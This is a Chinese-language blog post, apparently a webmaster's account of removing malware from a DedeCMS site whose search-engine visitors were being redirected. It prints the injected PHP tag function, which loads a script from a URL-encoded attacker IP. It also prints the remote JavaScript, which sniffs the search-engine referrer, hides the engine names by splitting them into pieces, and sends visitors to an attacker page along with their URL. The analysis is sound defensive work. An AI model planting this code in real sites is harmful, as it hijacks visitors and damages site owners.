又經歷了一次dedecms被掛馬排毒的過程,排毒過程在這里跟大家分享一下。
掛馬之后,網站的表現形式:
直接訪問網站沒有任何問題,從百度搜索的關鍵詞訪問網站,就跳轉到另外一個網站。
根據我原來的排毒經驗:很可能是有人在php里面寫入了判斷來路的代碼,如果是經過百度來的,就跳轉到另外一個網站,如果不是,就可以訪問。
不過檢查了一下php代碼,沒有發現任何問題。
從百度關鍵詞訪問過來的話,能夠看到本網站的title,只是一閃而過,就跳轉了。根據這個現象判斷,馬應該是在js里面。於是下載網站模板文件,查找可疑的js代碼。找了很久沒有找到。只好通過最笨的方法一點點排查。於是每一段寫了一個alert。
找到最后出現的alert點擊確定之后跳轉,那么馬就在那個alert附近。
找了一段時間,終於發現了一段可以的代碼:{dede:dinfo}
做dedecms的人都知道,這個是一個自定義標簽的調用方式,其源碼在:/include/taglib/dinfo.lib.php里面。於是打開這個文件,看到如下代碼:
[代碼]php代碼:
01
<?php
02
if
(!defined(
'DEDEINC'
)){
03
exit
(
"Request Error!"
);
04
}
05
/**
06
* 系統默認標簽
07
*
08
* @version $Id: dinfo.lib.php 1 9:29 2010年7月6日Z tianya $
09
* @package DedeCMS.Taglib
10
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
11
* @license http://help.dedecms.com/usersguide/license.html
12
* @link http://www.dedecms.com
13
*/
14
15
/*>>dede>>
16
<name>系統默認標簽</name>
17
<type>全局標記</type>
18
<for>V55,V56,V57</for>
19
<description>系統默認標簽</description>
20
<demo>
21
{dede:dinfo /}
22
</demo>
23
<attributes>
24
</attributes>
25
>>dede>>*/
26
27
function
lib_dinfo()
28
{
29
global
$dsql
,
$envs
;
30
$revalue
=
'<script language="javascript" type="text/javascript" src="http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif"></script>'
;
31
return
$revalue
;
32
}
剛開始也沒有看出什么問題,就是一段js代碼,然后引用了一個圖片,不過訪問下這個圖片地址就知道了,在瀏覽器中輸入這個地址:http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif
能看到如下代碼:
[代碼]js代碼:
1
GID89a=
""
;
2
var
s=document.referrer;
3
var
str=window.location.href;
4
if
(s.indexOf(
"go"
+
"o"
+
"gle"
)>0 || s.indexOf(
"b"
+
"ai"
+
"du"
)>0 || s.indexOf(
"y"
+
"ahoo"
)>0 || s.indexOf(
"s"
+
"ogou"
)>0 || s.indexOf(
"bing"
)>0 || s.indexOf(
"360"
)>0 || s.indexOf(
"s"
+
"os"
+
"o"
)>0 || s.indexOf(
"youdao"
)>0 )
5
window.location.href=
"http://118.244.215.213/Images/a2.asp?cpy="
+str+
"&kecy="
+s;
怎么樣,看出問題來了吧?
簡單解說一下:
[代碼]js代碼:
1
if
(s.indexOf(
"go"
+
"o"
+
"gle"
)>0 || s.indexOf(
"b"
+
"ai"
+
"du"
)>0 || s.indexOf(
"y"
+
"ahoo"
)>0 || s.indexOf(
"s"
+
"ogou"
)>0 || s.indexOf(
"bing"
)>0 || s.indexOf(
"360"
)>0 || s.indexOf(
"s"
+
"os"
+
"o"
)>0 || s.indexOf(
"youdao"
)>0 )
這里就是判斷來路,如果來源是:google、百度、yahoo、sogou、bing、360、soso、youdao,就跳轉到下面這個地址:
[代碼]js代碼:
1
http:
//118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;
(這個人可真夠黑的,光攔截百度還不夠,還要把這些常用的搜索都攔截了。)
這段代碼掛的太隱蔽了,讓我找了好久。在這里分享給大家,希望能夠幫助需要的朋友。
除非注明,文章均為 PHP二次開發網 原創,轉載請注明本文地址: http://www.php2.cc/article-865-1.html